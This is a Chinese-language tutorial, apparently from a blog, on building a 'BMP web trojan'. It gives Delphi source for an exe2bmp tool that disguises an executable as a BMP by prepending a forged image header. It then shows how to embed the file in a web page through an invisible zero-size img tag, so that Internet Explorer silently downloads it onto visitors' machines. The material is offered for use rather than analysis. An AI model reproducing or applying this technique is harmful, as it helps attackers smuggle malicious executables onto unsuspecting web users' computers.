制作bmp网页木马

1) EXEBMP的方法

大家自己去查查BMP文件资料就会知道,BMP文件的文件头有54个字节,简单来说里面包含了BMP文件的长宽、位数、文件大小、数据区长度。我们只要在EXE文件的文件头前面添加相应的BMP文件头(当然BMP文件头里面的数据要符合EXE文件的大小啦),这样就可以欺骗IE下载该BMP文件,开始我们用JPG文件做过试验,发现如果文件头不正确的话,是不会下载的,转换代码如下:


program exe2bmp;

 

uses

 

Windows,

 

SysUtils;

 

var len,row,col,fs: DWORD;

 

buffer: array[0..255]of char;

 

fd: WIN32_FIND_DATA;

 

h,hw: THandle;

 

begin

if (ParamStr(1)<>'') and(ParamStr(2)<>'') then begin //如果运行后没有两个参数则退出

 

if FileExists(ParamStr(1)) then begin

 

FindFirstFile(Pchar(ParamStr(1)),fd);

 

fs:=fd.nFileSizeLow;

 

col := 4;

 

while true do begin

 

if (fs mod 12)=0 then begin

 

len:=fs;

 

end else len:=fs+12-(fs mod 12);

 

row := len div col div 3;

 

if row>col then begin

 

col:=col+4;

 

end else Break;

 

end;

 

FillChar(buffer,256,0);

 

{一下为BMP文件头数据}

 

Buffer[0]:='B';Buffer[1]:='M';

 

PDWORD(@buffer[18])^:=col;

 

PDWORD(@buffer[22])^:=row;

 

PDWORD(@buffer[34])^:=len;

 

PDWORD(@buffer[2])^:=len+54;

 

PDWORD(@buffer[10])^:=54;

 

PDWORD(@buffer[14])^:=40;

 

PWORD(@buffer[26])^:=1;

 

PWORD(@buffer[28])^:=24;

 

{写入文件}

 

hw:=CreateFile(Pchar(ParamStr(2)),GENERIC_WRITE,FILE_SHARE_READ or

 

FILE_SHARE_WRITE,nil,CREATE_ALWAYS,0,0);

 

h:=CreateFile(Pchar(ParamStr(1)),GENERIC_READ,FILE_SHARE_READ or

 

FILE_SHARE_WRITE,nil,OPEN_EXISTING,0,0);

 

WriteFile(hw,buffer,54,col,0);

 

repeat

 

ReadFile(h,buffer,256,col,0);

 

WriteFile(hw,buffer,col,col,0);

 

untilcol<>256;

 

WriteFile(hw,buffer,len-fs,col,0);

 

CloseHandle(h);

 

CloseHandle(hw);

 

end;

 

end;

 

end.以上代码可以在DELPHI4,5,6中编译 ,就可以得到一个exe2bmp.exe文件.大家打开MSDOS方式,输入

exe2bmp myexe.exe mybmp.bmp

回车就可以把第二个参数所指定的EXE文件转换成BMP格式.

接着就是把这个BMP图片放到网页上了,如果大家打开过这张图片的话,一定发现这张BMP又花,颜色又单调.所以大家放在网页上最好用这样的格式


<img srd="mybmp.bmp" higth="0" width="0">

你可能感兴趣的:(职场,休闲)